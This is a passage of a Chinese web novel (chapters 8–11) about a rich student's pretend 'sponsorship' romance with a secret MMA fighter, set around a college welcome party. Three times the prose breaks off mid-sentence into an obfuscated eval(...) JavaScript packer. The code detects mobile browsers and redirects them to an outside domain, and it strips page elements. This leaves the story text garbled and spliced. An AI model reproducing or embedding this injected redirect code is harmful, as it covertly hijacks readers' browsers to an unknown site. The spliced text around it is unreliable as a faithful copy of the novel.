陶真拧灭了煤气,撩起T恤下摆扇风,露出一大截雪白纤细的腰腹,却还是平不下心里的燥热。 过了好半晌,他掩面。 突然好期待迎新晚会啊。 祝闻声他……到底大不大啊??? 8. 第 8 章 难道真的要像子涵那个家伙说的那样,趁着上厕所的机会过去看吗? 这不太好吧! 万一祝闻声没有那么大,反而一直因为这件事而自卑呢? 他也不可能把恋爱协议撕掉,跟祝闻声说自己是因为这个而解约的啊! 不过……陶真忽然想起了今天祝闻声穿的那条黑金色的运动短裤。 光从那里看的话,好像,不用太担心呢。 等等! 怎么真的被绕进去了!他们根本就没商量过体位的问题,他怎么就默认自己是下面那个了?万一祝闻声其实对男人硬/不起来,根本当不了1…… 陶真狠狠地拍了拍脸,好不容易才把那些念头从脑海里驱逐,红着耳朵吃完了一海碗的饺子,洗漱完上床,强迫自己关机,忘掉这方面的事。 一觉睡到了第二天中午。 顺丰空运已经把他昨晚寄的快递都安全送到了几人的手上:佟夏和顾行舟两人昨天就知道了礼物的存在,今天一收到,就笑嘻嘻地在群里分享了起来;陶大俊却对这事儿一无所知,一收快递就结结实实地愣在了办公室里。 但他很快就想明白了,他惹儿子生气发过去的零花钱,又被儿子换成了礼物送了回来。 陶大俊一张老脸喜得通红,感性地抹了两把眼泪,一边给陶真卡里打钱,一边系上了新皮带在食堂里招摇过市,在一众员工的吹捧中都快飘飘然了。 徒留叼着牙刷的陶真对着银行卡入账五十万元的信息一脸懵。 他爸那条皮带打完折统共就买了五千,他爸给他打这么多钱干什么? 陶真一脸茫然,揉了揉一头乱得像鸟窝的灿金色发丝,刚准备给他爸还回去点,就忽然接到了一个林曼妙女士的电话。 他霎时清醒了,飞速咕噜咕噜地漱口,又清了清嗓子,变换了几次音调,才笑眯眯地摁下了接通。 “喂,妈妈!今天怎么给我打电话了呀,你吃过饭了嘛?” 优雅婉转的女声响起,带了些许严肃:“小真,妈妈吃过了。我今天收到了一个快递,是你给我寄的吗?” 陶真条件反射地站直了身子,手指无意识地扣住了自己的衣摆:“嗯,是……” “谢谢小真在外面还想到妈妈,”林曼妙微微叹了口气,“但是妈妈平常用不到这些,你和你爸爸总替我买这么多,很多摆着都过期了。适度的享受是可以的,但我们不能铺张浪费,知道吗?” 可导购说那套彩妆是新品,只有在南城才能买到,所有女人都会喜欢的。 陶真垂下眼,攥住那块被揪成咸菜的布料:“知道了……” 林曼妙听出陶真的语气不对,也不自觉地犹豫了片刻,最终还是没有说出要陶真把东西退回去的话,只是叹息了两声,嘱咐他一个人在南城也要早睡早起、生活规律。 她说什么,陶真都乖乖地听着、应着,令她不由自主地想起了小时候只有她小腿高,却咿咿呀呀地缀在她屁股后面唱歌的小糯米团子。 眼巴巴的,好不可怜。 林曼妙忽然有点后悔自己的语气那么严厉了。 通话结束前,她温柔地哄他:“好了,妈妈要去工作了。下次巡演很有可能会回内陆,到时候来看妈妈,好不好?” 陶真松开了T恤下摆,勉强露出了自己的小虎牙,提起精神:“嗯!好!妈妈……” 他话音未落,那头却忽然有人着急忙慌地喊了一声“林姐”。 林曼妙立刻“哎”了一声,来不及再跟陶真说一声再见,就匆匆挂断了电话。 陶真垂下眼,盯着那短暂的通话记录看了几秒,在心里把下半句话补全了。 “妈妈工作辛苦了,我爱你哟。” 我知道你一直很忙,所以不是故意要忽略我的,没关系。 你在为了自己喜欢的事业和梦想奋斗,我很高兴,也很崇拜你。 真的。 过了好半晌,陶真才慢吞吞地把牙刷放回牙杯,伸手掬了几捧清水,浇了浇红彤彤的眼睛。 他擦了擦手,打开了收藏夹里林曼妙剧团的演出录播,熟练地拉动了进度条,跟着唱了好几首歌曲。 很奇怪,艺考落榜的少年,歌声竟然相当出色。 他一个人流畅顺利、投入享受地歌唱着,声音清朗而嘹亮,回荡在浴室内,好似黄莺出谷,婉转悠扬,颇有几分林曼妙的气质,唱得极好,极动听。 - 八月的尾巴悄然无声地溜走了,燥热炎炎的南城也在一场雨后忽地降温。 迎新会开始前,陶真被学姐拉到了一个国际部大一新生的大群里。群里的气氛很融洽,大家都聊的很火热,他也认识了不少同一个班级的新朋友。 大家都很热情,而且很有礼貌,相处起来特别舒服。 奇怪的是,当陶真偶尔提到与他不在同一个班的吴斌等人时,他们则会沉默几秒,陷入一个有些微妙的状态。 陶真有些不明所以,尤其是这几天,吴斌几人像是人间蒸发了一样,微信不发消息,酒吧也不去了,更不会拉着他说某某奢侈品的新品好看,反而脸色难看,极为忙碌的样子。 若是佟夏和顾行舟这样,陶真肯定得冲去他们家问他们发生了什么。 可回想起吴斌那时不时打量和试探的眼神……陶真想了想,最终还是没有那么热情,只礼貌地说,如果有需要的话可以联系他。 一场雨落,打碎了一地嫣粉的紫薇花。 雨过天晴后的傍晚时分,迎新会即将开始。 陶真约了车去Light酒吧门口,在等待祝闻声出来时,他情不自禁地又想起了佟夏和顾行舟这两个损友这些天反复调侃他的虎狼之词,脸颊的温度渐渐上升。 在胡思乱想之前,他赶快用力地拍了拍自己的脸蛋,正了正自己印满了古驰LOGO的花衬衫,又掸了掸笔直的裤腿,借着光,端详了一下自己雪亮的小皮鞋。 嗯,很不错。 一看就很有金主风范。 陶真抬起脸,对着车窗的反光嘿嘿笑了。 祝闻声出来时,第一眼看见的就是这个画面。 金发少年湿漉漉的小狗眼弯着,小虎牙也露了出来。 很乖,也很可爱。 他心里不自觉地一动,喉结也上下滚了滚,三步并作两步地走了过去,开了车门。 “祝闻声,你来啦!”陶真亮起了眼睛,把他拉进来,没忍住顿了顿,“你没有穿我送给你的那件芬迪衬衫吗?” 黑发黑眸的俊美少年在身旁坐下,带来了一阵浅淡的药物味,大约是跌打损伤膏。 他身上又多了些伤口,被黑色连帽衫和黑色长裤罩着,整个人看起来休闲而冷淡。 “嗯。”祝闻声不自在地挪开了目光。 陶真略微有点失望,可又很快哄好了自己。 算了算了,也许祝闻声就是不适应穿那种衣服呢? 说好了要尊重祝闻声本人意愿的,他可不能反悔。 “没关系,不穿就不穿吧,”车辆启动,陶真也重新笑起来,“等下我们去迎新会,你不要紧张,其实就是普通的聚会,看看表演吃吃东西什么的……” 祝闻声又嗯了一声。 他也是南城大学的学生,只不过比陶真大了一级,开学大二。 迎新会是国际部的传统,本部是没有这项活动的,况且他在学校里向来低调,知道他身份的人少之又少,倒不是很担心到时候被熟悉的人认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775760|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来“嘲笑”。 车辆很快就在宴会厅外停下,司机跟随指令去泊车,他们二人则一起进入了会场内。 刚下完雨,空气还很清新,室内也布置了鲜花,充满了淡淡的香氛味。 柔软的地毯铺满了全场,一张张摆满了餐点的西式长桌整齐地摆列,已有不少人笑着在其中穿梭交谈。 衣香鬓影,觥筹交错,倒真有几分高端聚会的意思。 会场内设置了签到处,陶真作为学生去那里登记了一下同伴的身份,顺路碰见了自己新认识的同班同学们,不自觉地跟他们聊起天来。 祝闻声则无所事事地站在不远处等待。 等了太久,有点无聊,他才收回了落在陶真身上的目光,淡淡地扫视了一圈四周。 几个负责签到的学生聚在一块看着手里的表格名单,不知是谁率先发现了不对: “吴斌一群人都还没来诶,要不要给他们打个电话?” 一人没忍住皱了皱眉:“不了吧,我估计他们今天是不会来了。你不知道前两天出的事吗?” “嗯?我知道啊,不就是他们打肿脸充胖子欠钱不还、穿fake、勾搭高中学妹失败所以恼羞成怒……被人挂到表白墙,闹得沸沸扬扬的那事嘛,”那人笑着摇摇手,“他们这些人脸皮很厚的,这些事又不会让人退学,怎么可能会不来这种迎新会啊,那不是更证明网上那些传言都是真的了吗?” “噗哈哈哈啊,你说的也有道理!” 他们一群人又聚在一块就着吴斌等人翻车的细节聊了起来,说到他们偷偷摸摸地借着隔壁桌的包连拍了九宫格的炫耀照片时更是笑得前仰后俯。 祝闻声听了一耳朵,眉宇间漠然的神色也略微松了些,点开跟朋友赵钊的聊天页面上下划了划,果不其然看见了众人聊的内容。 赵钊办事还挺靠谱,每一桩笑料都很锤。 “哎哟不行了真的是笑死我了……所以要不要打电话啊,我有点迫不及待想当面看他们乐子了。哎,我们这儿谁跟他们熟悉一些?” “陶真吧,不过他到现在都还不知道吴斌他们这事儿呢,”一人叹了口气,“他人挺好的,但先认识了吴斌那几个傻逼……我们跟他说这些,总像是在背后嚼舌根。” “嗐,我懂。那我们要喊陶真去给吴斌他们打电话吗?” “唔……喊吧!反正陶真还没跟他们撕破脸呢。” “嗯嗯,那我们就看他们过不过来。不过来的话,就顺便跟陶真说一下吴斌他们的事……” 他们聊天的声音渐弱,抬起目光在人群里逡巡。 祝闻声收起了手机,不自觉地快走了两步,挡在了他们和陶真之间。 他也不知道自己为什么要这么做。 明明他本来的计划同这些人说的不谋而合。 但这一刻又忽然反悔了。 直面吴斌,给这种背刺自己的朋友打电话……知道真相后,陶真或许会很伤心的。 所以,还是由自己直接告诉他吧。 刚好,他也想跟陶真澄清两人之间的误会,结束这段荒谬的包/养玩笑。 “陶真,”祝闻声深吸了一口气,从人群里握住了陶真的手腕,拉着他走了出来,“跟我去一趟卫生间,我有话跟你……” 陶真正聊得开心呢,骤然被一只滚烫粗粝的大手抓住,跌跌撞撞地出来,有点懵。 反应了几秒,他又忽然听见了一个关键词,脸“腾”地一下红了。 去、去哪儿? 卫生间?? 婴儿手臂、粗壮青筋…… “不、不行,”陶真手忙脚乱地挣开祝闻声,涨红了脸,粗声粗气地说,“这不合适,我们还没到那种关系……” 9. 第 9 章 “……?” 祝闻声不解。 什么叫做不合适?还没到那种关系? 他扫了一眼不远处正在人群里寻觅陶真的几个家伙,微微皱了皱眉,也管不了陶真话中的疑点,再次伸手牵他往卫生间的方向走:“为什么不行?我有话跟你说,去那里比较方便——” 陶真满脸涨红,六神无主,匆匆忙忙地摆手,不自觉地踉跄了一步:“就是不行!有、有什么话不能在外面说的吗?我现在不想去厕所……” 祝闻声轻轻地叹了口气。 他低头,面前的金发少年像是只被踩到了尾巴的猫,无论如何色厉内荏地炸毛,就是不愿意再贴上人的掌心。明明穿着一件印满LOGO的花衬衫,像个得意洋洋的小金主,却慌乱得像是从没跟男人牵过手一样……有些令人焦躁着急,却更让人心软无措。 祝闻声垂下眼,冷淡的神色有些许融化:“行。既然不想去卫生间,那我们就在这里说。” “……”陶真睁大了眼,仿佛受到了什么令人震撼的冲击。 他重复了一遍:“在、在这儿?” 不去卫生间了,在这儿就脱裤子? “嗯。” “现在这种地方到处都是监控,怎么能在监控眼皮子底下干这种事呢!” 陶真绝望了,他后悔地咬牙,反过来拉着祝闻声匆匆地往卫生间跑, “你知道吗,我爸妈一直跟我说,人呢,在外面要保护好自己,千万不能犯傻——不过,犯傻是每个人都会踩的坑,是再正常不过的事。” “所以呢,我们需要尽可能地保护身边的人。他们已经很可怜了,可不能再被欺负……” 祝闻声的瞳孔微颤了一下,他个高腿长,平日里三步跨旁人两步,此刻跟在陶真身后的步伐却意外地有些沉重。 绕过了一片宴会厅的花墙,两人在卫生间外的屏风旁停下。 陶真跑得气喘吁吁,一张雪白的小脸红扑扑的,湿漉漉的狗狗眼里缀着点碎星。 他有点不好意思地拍了拍脸,小声说:“好了,到卫生间了……旁边没有人了,那个,我们可以开始,咳……” 祝闻声却忽然打断了他:“等一下吧。” “我…先进去上个厕所,”他顿了顿,从初遇开始就冰冷漠然到极点的声音竟然有几分轻柔,“给我几分钟的时间想一想,行吗?” 陶真有点懵,但还是乖乖地点了点头。 他目送着祝闻声大踏步地进了隔间,过了几秒才反应过来。 咦? 难道祝闻声刚刚不是想跟他比大小吗? ……忽然有点遗憾是怎么回事! 陶真眼巴巴地绕着屏风转了两圈,想了想,把自己藏到夹层里,打算等祝闻声出来的时候吓他一跳。 少年盯着自己小皮鞋的尖尖发了一会呆,自顾自地猜测着祝闻声等会的反应,正要把自己逗笑时,眼前缝隙里透出来的光却忽然消失了。 他一怔,便见几道熟悉的身影怒气冲冲地从宴会厅里冲了出来,在走廊的拐角来了一个急刹车,恰好在卫生间外停下。 为首那人正是吴斌。 不知到底发生了什么事,他死死地揪着身上某个大牌的过季衬衫,双眼微凸发红,呼吸急促地上下起伏,愤怒道:“操他.妈的!那些人都是什么眼神!” “老子真该冲上去把他们的眼珠子抠出来,把那几张嘴全部都撕烂!” 陶真一怔,迟疑了几秒,还是忍住了打招呼的念头,一声不吭地站在屏风夹层里。 “就是啊!我操!搞得好像他们每个人都很清白一样,他们算什么东西!”一人恼怒至极地附和道,“我真是搞不懂了,我们究竟惹上谁了?这些事到底是被谁爆出来的!?” “会不会是陶真?他前两天不是还假惺惺地问斌哥有什么需要他帮忙的吗!” “对!贼喊捉贼,我估计就是他……他发现我们那什么之后,故意把这些事爆出来报复我们!” “肯定是这样……对,就是陶真!” 骤然听见了自己的名字,陶真的心突地一跳。 他狠狠拧紧了眉,下意识地想冲出去跟这些人对峙,几乎是掐着自己的手心,才硬生生地唤回了些许理智,将自己摁在原地。 果然,下一刻,吴斌就打断了他们七嘴八舌的激烈分析:“不可能。” “陶真那个蠢货,连我们故意谑他去包/养祝闻声都不知道,被丢在酒吧里还傻呵呵地给我们付账……他会有做这种事的本事?” 陶真愣住了。 他的手心猛地一松,露出了几道深红鲜艳的月牙痕。 “……话也不能那么说吧,如果他没点本事,是怎么把那祝闻声包养到手的呢?”另外一个人不同意,“再说了,他在银游城被那个负责人亲自服务的样子,大家都是亲眼看见的。五折,贵宾卡!他的身份很明显不一般啊。想要故意耍我们玩也不是不可能!” “六子说的对!斌哥,都是你当初非要去招惹陶真!贪了他帮忙付账的钱,结果他是在这儿等着呢!” “够了!”吴斌脸色铁青,愈发难看,显然也是觉得他们说的有道理,“他.妈.的,他居然敢骗我!” “居然装成一副对酒吧毫无所知的样子,居然装成一副热情大方的样子……操!凭什么!那个祝闻声也一样不是什么好东西,面上装得一副清高的样子,结果被陶真那贱人一勾引就上钩了,说不定背地里也是一个被富婆玩烂了的货色——” “砰”! 一声巨响猛地砸断了吴斌愤愤的恶毒之语,众人吓了一大跳,顺着声响的来源望去。 陶真猛地踹开了屏风,向来挂着笑的小脸冷冷地,面无表情地走向了吴斌,一把握住了他的衣领:“你说什么?” “有种当着我的面再说一遍。” “……” 众人脸色一阵青一阵白,不自觉地挪开了目光。 唯有吴斌的愤恨的眼神愈发浓重,恶狠狠地攥住了陶真的手腕,咬牙道:“行啊,那我就当着你的面再说一遍,你以为自己做了这一切很得意吧?别以为自己真的多牛逼!有点臭钱而已,嘚瑟什么?你就是个土鳖!” “……” 陶真瞬间想抬起手狠狠地给吴斌两拳。 但他还是忍住了,胸膛剧烈起伏,呼吸极为粗重,在忍耐几秒后扯起了一个笑容:“是吗?那也比你好,就算我再土,好歹还有钱,你呢?” “到底是什么事情被爆出来了,才让你这么恼羞成怒啊?” “你!” 吴斌怒目圆睁,似是浑身血液被这句反嘲点燃激怒,他高高地扬起了成拳的右手,眼看着就要朝陶真的眼睛砸去。 陶真下意识地想侧脸避开,撒开了吴斌的衣领, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祝闻声冷冷地扫过在场众人的脸,握住了陶真的手:“跟我走。” 越过簌簌颤动的花墙,经过宴会厅,在众人茫然不解的目光中,他们走进了一片阴凉如水的月色里。 前日的紫薇花零落成泥碾作尘,今日的却往下,落在了金发少年不住抖动的肩膀上。 祝闻声单手给赵钊发完消息,就收起了手机,替陶真摘掉了落花。 少年低着头,露出一截雪白的后颈,脊背的骨节被贴合的衬衫勾勒了出来,像被雨打蔫吧的小动物。 又哭了。 小可怜。 “不哭了,好不好?” 祝闻声从口袋抽出一张手帕纸递过去,陶真勉强地接了,却根本没力气擦。 他的鼻尖时不时抽一抽,雪白涨红的小脸潮湿,大颗大颗的泪珠顺着拧成一绺绺的睫毛滚下来,“啪嗒”一下落到地上。 他很努力想振作,想笑,但小嘴还是撇着。 雨后的夜晚很凉,瑟瑟寒风不止。 祝闻声忽然松开了握着陶真的手。 陶真忍住抽噎,睁开迷蒙的双眼,下意识地想重新拉住他。 却见祝闻声后退了一步,双手交叠扯住衣摆往上拉起,脱下了身上这件黑色卫衣,披到了他的身上。 肩膀忽然一暖。 陶真彻底止住了眼泪,呆呆地抬起头。 脱掉外面的衣服后,眼前的高冷而俊美的少年里面穿着的,赫然是一件印满了芬迪LOGO的花衬衫。 10. 第 10 章 陶真看了两眼,反应过来。 祝闻声身上的,不是别的,正是自己那天送给他的那件花衬衫。 哪怕他其实很不喜欢,很不习惯,但他还是穿了。 “你不是……你怎么……”陶真有些想笑,又有点想哭,“你把卫衣给我了,自己穿什么呀?你冷吗?” 祝闻声摇摇头,替他把身上的黑色卫衣披好,重复道:“别哭了。” 陶真小小地嗯了一声,有点不好意思地低头擦脸,却一直用余光偷偷觑着祝闻声。 高冷又俊美的少年穿着跟自己气质毫不相符的花衬衫,虽然依然很帅,却身上那股自在慵懒的气质却被打破了,好像被迫套上了浪子的衣裳。 陶真其实觉得他这么穿挺好看的,但还是情不自禁地想到了吴斌刻薄而鄙夷的嘲讽。 “有几个臭钱”,“土鳖”。 陶真擦脸的动作慢了些,神色有一瞬间的怔愣,可拍了拍脸,又渐渐振作起来。 对啊,他就是有几个臭钱。 平常穿衣打扮,也总是能让人一眼就看出他是个“暴发户”,不然怎么让别人知道他有钱呢? 再说了,暴发户约等于白手起家,这似乎也不是什么很见不得人的身份吧? “其实,我家不是一开始就有钱的,我上小学一年级的时候,家里还穷得叮当响。我爸每天苦哈哈地在矿里忙上忙下,我妈那个时候也很年轻,也没在剧团里演出什么名堂……”安静了许久,陶真忽然慢慢地说,“后来我爸运气好,发了财,做的第一件事就是去商场给我妈买了全套的化妆品,标着大LOGO的衣服。” “因为我妈在剧团里遭人排挤,有个只涂香奈儿口红的女人总是嘲笑她。明明实力没她强,却占了她女主角的位置。” “我爸一直憋着一口气,把我妈的东西全部都换成最好的,就是为了告诉别人,她有钱。” 所以,旁人都别想再欺负她。 陶大俊有钱了,就给林曼妙买好东西,买标,买花里胡哨……最好能让人一眼就看出是奢侈品。 陶真从小就被他一直带着,耳濡目染,养成了一样的习惯。 “……总之,我没觉得那些衣服有多丑。嘲笑我土鳖?明明吴斌也想要,只是买不起,所以吃不到葡萄说葡萄酸而已。” 陶真匆匆抹了把脸,好似满不在乎,“我才不管他们怎么说呢,反正,我遇到了你。” “我以后继续给你买好衣服,买贵衣服,就让吴斌他们狠狠羡慕去吧!” 祝闻声沉默了片刻,低头看向陶真。 金发少年的双眸和鼻尖还染着些许红,看起来颇有点可怜的样子,却偏偏仰着一张笑脸,真诚而天真。用表情说完了接下来的一句话:我不会让他们欺负你的。 祝闻声没忍住轻轻地呼出一口气,攥紧垂在身侧的手,平复了一下那股不知从何而来的鼓噪。 “嗯,好。” 陶真更加弯起了眼,很高兴似的凑了上来,一股清淡的浅香顿时涌入了祝闻声的鼻腔:“说起来,你的手还疼不疼啦?我们……就这样把吴斌他们打下来,会不会有事啊?” 他扭头看了一眼会场内,似乎在犹豫要不要回去:“其实我根本不知道他到底被揭穿了什么事情,他就把屎盆子莫名其妙地扣到我头上,我还没跟他就这件事理论一下呢!” 祝闻声垂下眼,向陶真保证道:“不会有事。” 陶真本就是无辜的人,他不会让这件事牵连到陶真。 “相信我。” 空气一时静默了片刻,一阵寒风簌簌,吹来了一阵落花雨。 “……对,是他先动手的,我们只不过是正当防卫而已,”仰头与祝闻声对视了两秒,陶真略微有点不太自在地挪开了目光,快步往外走,“不过这个迎新会我还是不太想参加了,原来他们要我去银游城,根本不是为了照顾我,而是为了去现场看笑话。” 祝闻声顿了顿,抬起腿跟在他身后:“别生气。” “刚刚是挺生气的,但现在我已经好很多了,”陶真忽然转过身,一边后退一边摇头,一张笑脸有些许翘尾巴般的得意,“我本来是真心把他们当朋友的,是他们不珍惜我。失去我是他们的损失,该后悔的人是他们,可不是我!” 祝闻声因为这个笑容晃神了一秒,半天才轻轻地“嗯”了一声。 “说起来,我突然又想起来一件事……” 陶真突然停下脚步,差点与祝闻声面对面撞上。 两人之间的距离被猛地拉近,几乎快要贴在一起。跌打损伤膏的味道和香氛味混在一块,糅杂着温热的乱了拍子的呼吸。 陶真再度微微挪开了目光,声音小小的:“刚刚一打岔,都快忘了问了。你带我去卫生间,本来是想跟我说什么的?” 祝闻声的喉结滚了滚,漆黑的瞳孔里倒映着陶真红扑扑的笑脸,沉默了。 快说啊。 既然陶真已经亲耳听见了吴斌等人对他的诋毁,绝不会再被这帮人哄骗心软了,他也该重新捡起理智,然后,从陶真的世界里消失…… “我……” 陶真用那双亮晶晶的眼睛充满期待地看着他。 好半晌,祝闻声闭了闭眼,低声说:“我……不喜欢迎新会这种全是人的场合,尤其是你跟同班同学在另一边讲话的时候……” “下次,如果要喊我出来的话,能不能就我们两个?” 陶真有点惊喜。 有种养了很久的大型猫科动物,终于愿意施舍铲屎官一个贴贴的感觉。 他弯起眼,一股热血冲上心头,忽地大胆了起来,踮起脚,攀上了祝闻声的脖颈。 “好呀,”他蜻蜓点水般亲了一下祝闻声的下巴,声音低得像是耳语,“下次就我们两个人出来约会。” “……” 祝闻声猛地后退了一步,捂住自己刚刚被亲过的地方,乱了呼吸。 国内最有希望签约UFC的MMA综合格斗选手之一,绰号为S的顶级捕食者,竟然在刚刚的那一瞬,没有避开陶真这个毫无训练基础的小白,轻而易举地被袭击到了要害。 在一瞬的茫然后,好胜心和凶猛的情绪铺天盖地地涌了上来。 他也不知道为什么,只知道自己看着陶真粉嫩柔软的双唇、俏皮的小虎牙时……竟然,不由自主地产生了一些阴暗下流的想法。 比如,在格斗选手的锁技和绞技下,鲜少有人能够逃脱。 陶真也不会是例外。 “……” 祝闻声的表情相当晦涩,陶真盯着看了几秒,有点讪讪地偏开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775762|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线。 哎,果然不能耍流氓啊。 对祝闻声这种纯情的直男来说,连这种亲亲都为时过早。 还好没跟佟夏和顾行舟那两个家伙学,要是按照他们每天聊的那些内容去做,他肯定要被当成变态抓起来了。 陶真不敢再碰祝闻声了,害怕自己惹恼了勤工俭学的好学生,打电话联系了司机。 一路上两人都保持着相敬如宾的姿态,陶真时不时偷偷觑一眼祝闻声,只能看见少年半个冷硬而克制的侧脸,仿佛正因刚刚那件事而生气似的。 陶真心说完蛋。 一直到Light酒吧门口,才将身上披着的黑色卫衣脱下来给祝闻声塞了回去,趴在车窗上眼巴巴地朝他挥了挥手:“拜拜,晚安呀!” 霓虹灯下,祝闻声的侧脸模糊不清,保持着左腿放松地搭在楼梯台阶上,右腿为中心的姿势。 他盯着陶真看了几秒,意味不明地说:“晚安。” 这语气……应该是没生气的吧? 直到车辆远离了酒吧,学姐的夺命连环call响了进来,陶真才放下心中的揣测,匆忙点开了微信。 那头先是给他甩来了一个写满了吴斌等人炸裂事迹的PDF文件,在解答了他疑惑了许多天的事的同时,跟他讲了刚刚卫生间旁的后续。 吴斌本来是嚎叫着想要报警的,抱着自己的胳膊大叫着说陶真和同伴害惨了他。结果刚把监控调出来,吵吵嚷嚷地过了一阵子,还没来得及真报警,外面就忽然来了一波学姐他们也不太熟的人,把吴斌围起来带走了。 有的大二学生认出来,为首那个人是赵钊。 南城有名的二世祖,家里贼有钱的混世魔王,“太子爷”的好兄弟。 陶真有点懵:“‘太子爷’?” “上一个太子爷应该是一百年前的事情了吧,怎么咱们现代还有啊,”他喃喃自语般说,“这可是杀头的罪啊……” 学姐差点被他呛死:“当然不是那个意思啦。‘太子爷’只是个绰号而已,他是祝家的独生子,为人很低调,有着那么牛逼的背景,却在前几年的全国青少年柔术比赛里获得了冠军。虽然他之后退役了,祝家也清空了所有他打比赛的新闻,他渐渐消失在所有人的视线里……但还是有人会戏谑地喊他‘太子爷’。” 陶真恍然大悟般“哦”了一声:“那这件事跟他有什么关系啊?” “问题就在这儿!”学姐一拍大腿,“我们也不知道吴斌这些人到底怎么惹上他和赵钊了。不过不管怎么说,你是不用担心了,他们对付起吴斌这种小喽啰,就跟砍瓜切菜一样。” 陶真立刻对这位素未谋面的太子爷多了几分敬佩。 “学姐,你知道这个……唔……‘太子爷’,叫什么名字吗?” 学姐想了想:“不知道,当时他打比赛的时候还是未成年,豪门出于保护起见,没让他用真名,所以大家才给他起昵称的。而且现在他在网上的资料也都差不多没了,大家就知道他姓祝。” 又简单地聊了两句,学姐挂断了电话,只留陶真一个人拿着手机,独自沉思了片刻。 风太大,他有些没听清,那位太子爷到底是姓祝,还是姓朱? 应该是姓朱吧。 朱太子,嘿,还是大明王朝的呢。 11. 第 11 章 这位大明王朝的封建余孽太子爷并没有得到陶真过多的关注。 虽然很感谢他在无意之中对自己的帮助,但陶真并没有对他产生什么额外的崇拜心思。 毕竟,太子爷和穷学生相比,他还是比较喜欢励志向上的穷学生一点。 祝闻声虽然家庭贫穷,说不定有一个生病的妈、好赌的爸,上学的妹……但靠自己的努力考上了南城大学,还在上学的同时不停地打黑拳,兼职。 不接受自己给他的昂贵礼物,也不需要很多钱……这叫什么,叫做贫贱不能移! 车辆越过汹涌的人潮,终于在公寓楼下停好。陶真下车跟司机打完招呼说再见才上楼,一路上,他脚步轻快,甚至还自顾自地想象着下次与男友单独二人出去约会的场景,没忍住把自己逗乐了。 吃夜宵,洗漱,跟爸妈打电话,被佟夏和顾行舟信息轰炸……一直到深夜十二点,陶真才松开了手机,后知后觉地摸了摸已经笑僵的脸,缓缓地在床上倒下。 四周骤然安静下来。 指缝里泄露了些许水晶灯璀璨的光芒。 照得眼睛有些痛。 那些傍晚时分听见的话,被刻意忽略了一个晚上,终于无法忍耐,以疯狂反噬的速度冲涌了上来,似乎要将他整个人都吞没。 “你也就是靠着你爸妈的米虫。” “你爸妈都后悔生了你这个一事无成的败类出来!” 陶真一骨碌翻了身,将自己的脸埋进了被窝里。 手指不自觉地攥紧了床单,几乎要将那一块布料硬生生地扣破。 脑袋一瞬间变得嗡嗡响,吴斌狰狞的面孔在脑海里循环播放,同另外一道面容扭曲模糊不清的身影糅在一起。那个背着身子、高大威严的老师,明明前一秒还笑眯眯地冲他母亲林曼妙要签名,后一秒却在走廊的拐角和另一个人嗤笑出声。 “林曼妙那么厉害的一个人……怎么就生了这么个儿子出来?” “对……陶大俊和她一起过来的,想要他们儿子跟我学音乐……哈哈哈哈,笑死人了。” “他们自己心里一点数都没有吗?要不是看在钱的份上,谁还……” “怎么了?我说的难道有错吗!” “他们儿子看起来就很蠢,让我去教这种一点音乐天赋都没有的人?” 很蠢。 没有音乐天赋。 林曼妙这么厉害的一个人,生的儿子竟然是这样的。 也许不止这个老师,所有人都这样觉得。 陶真从前一开始听见这些话是很生气的,他很想反驳,所以勤加练习,就是想要用实力证明自己,把结果恶狠狠地甩到瞧不起他的人的脸上。可他越努力,得到的结果就越不尽人意,不仅失败了,还失败得很难看。 在艺考那天,当着那么多人的面,对上那么张陌生的视线,以及林曼妙和陶大俊担忧的目光……他只觉得自己的大脑一片空白,等回过神来时,一切就已经结束了。 他明明没有发挥出自己真正的实力。 可“没有天赋”、“没有本事”的预言却被印证,成了真。 陶真猛地呼出一口气,撒开了被自己捏得乱七八糟的床单,狠狠地闭了闭眼睛,将吴斌狰狞的面孔和那男老师讥讽的神色从脑海里一起驱除出去,让脑海里举着小钢叉的天使小人用力地踩了好几脚。 他爸妈很爱他,绝不会后悔生出他来,哪怕他就是个一事无成、只会花家里钱的废物。 是他自己,无法心安理得地接受现在的情况,想要成为父母的骄傲。 所以,如果想要有所成就、有所改变,而不是成为吴斌口中那样的人的话,他该从哪里开始呢? 这次,他还会跟之前一样,灰溜溜地收场吗? - 另一头。 从陶真车上下来,祝闻声往酒吧的方向走了几步,却没进去,而是在短暂的停顿之后直接绕进了停车场,开车回俱乐部。 从满是普通会员的练习区进入比赛选手的区域,人明显少了很多。一帮看起来十六七岁的少年正挥汗如雨地训练着,见到他的时候立刻站直了身子,每个人的目光都灼灼热烈,崇拜之情几乎快满溢出来:“S哥!” “S哥晚上好!您今天也照常训练吗?” “S哥!请问您什么时候能教我们一场……” “……” 他们都亲眼见过祝闻声在八角笼中的模样,每个都是他的小粉丝,恨不得把他围起来跟他一起打。教练不得不用手里卷筒的表格挨个敲了敲他们的脑袋,冷着脸说:“怎么?你们都已经训练完了?再说话就给我加训!” “S,你过来一下,主教练跟营养师调整了一下你接下来一段时间的训练量和食谱,”训斥完那帮小孩,教练才向祝闻声的方向走了两步,“诶?你身上穿的这是……” 